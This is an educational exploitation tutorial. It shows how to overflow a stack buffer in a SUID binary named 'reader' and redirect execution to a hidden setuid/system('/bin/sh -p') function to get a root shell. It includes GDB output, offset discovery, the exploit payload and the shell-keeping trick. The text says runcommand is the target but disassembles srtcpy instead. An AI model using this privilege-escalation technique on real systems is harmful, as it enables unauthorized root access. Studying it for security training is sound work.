Tutorial

Redirecting Execution to Hidden Functions

Learn how to exploit a basic stack buffer overflow to redirect execution to a hidden function in a SUID binary and gain elevated privileges.

2 min read beginner

Prerequisites

  • Basic understanding of x86 assembly
  • Familiarity with GDB debugger
  • Basic Linux command line knowledge

Part 6 of 12 in Linux Exploitation Fundamentals

Table of Contents

This tutorial demonstrates how to exploit a stack buffer overflow vulnerability in a SUID binary to redirect execution to a hidden function. The target binary contains a function that spawns a privileged shell, but it’s never called during normal execution.

Reconnaissance

Finding SUID Binaries

First, locate SUID binaries on the system that might be vulnerable:

find /usr/bin -perm -4000

# Or more comprehensively
find / -perm -u=s -type f 2>/dev/null

Initial Analysis

Use ltrace to trace library calls and identify potentially vulnerable functions:

ltrace ./reader

If you see calls to unsafe functions like strcpy with unusual parameters, the binary may be vulnerable.

Function Discovery with GDB

Load the binary in GDB and list all functions:

gdb -q ./reader
gdb-peda$ info functions
All defined functions:

Non-debugging symbols:
0x080484cb  srtcpy
0x080484f5  runcommand
0x08048512  readUserData
0x0804854b  main

The runcommand function looks interesting. Let’s examine it:

gdb-peda$ disas srtcpy
0x080484cb <+0>:     push   ebp
0x080484cc <+1>:     mov    ebp,esp
0x080484ce <+3>:     sub    esp,0x8
0x080484d1 <+6>:     sub    esp,0xc
0x080484d4 <+9>:     push   0x0
0x080484d6 <+11>:    call   0x80483b0 <setuid@plt>
0x080484db <+16>:    add    esp,0x10
0x080484de <+19>:    sub    esp,0xc
0x080484e1 <+22>:    push   0x8048600
0x080484e6 <+27>:    call   0x8048390 <system@plt>

Examine the string being passed to system():

gdb-peda$ x/s 0x8048600
0x8048600:      "/bin/sh -p"

This function calls setuid(0) followed by system("/bin/sh -p") - a privileged shell.

Finding the EIP Offset

Identifying the Overflow Point

Test with increasing buffer sizes to find where the crash occurs:

python -c "print('A'*1100)" | ./reader   # Crashes
python -c "print('A'*1000)" | ./reader   # No crash

Creating a Pattern

Use GDB-PEDA to create a unique pattern and find the exact offset:

gdb-peda$ pattern create 1200 pattern.txt
gdb-peda$ run < pattern.txt

SEGFAULT
EIP: 0x41426e41

gdb-peda$ pattern offset 0x41426e41
1094872641 found at offset: 1012

Verifying the Offset

Create a test payload to confirm EIP control:

payload = "A"*1012 + "BBBB"
print(payload)

Run it and verify EIP contains 0x42424242.

Crafting the Exploit

Redirecting to the Hidden Function

The target function is at 0x080484cb. Create the exploit:

# exploit.py
payload = "A"*1012 + "\xcb\x84\x04\x08"
print(payload)

Generate the payload:

python exploit.py > input.txt

Keeping stdin Open

When exploiting binaries that spawn a shell, you need to keep stdin open. Use this technique:

(cat input.txt; cat) | ./reader

The first cat sends the payload, and the second cat keeps stdin open for interactive shell access.

Getting Root

Execute against the SUID binary:

(cat input.txt; cat) | /usr/bin/reader
Provide root password:
 Sorry, this is not correct.
whoami
root

For a proper TTY shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Key Takeaways

  • SUID binaries are high-value targets for privilege escalation
  • Functions using strcpy without bounds checking are vulnerable to buffer overflows
  • Hidden functions in binaries can be discovered through static analysis
  • When spawning shells through exploits, keep stdin open using the (cat payload; cat) technique
  • The -p flag in /bin/sh -p preserves the effective UID, maintaining elevated privileges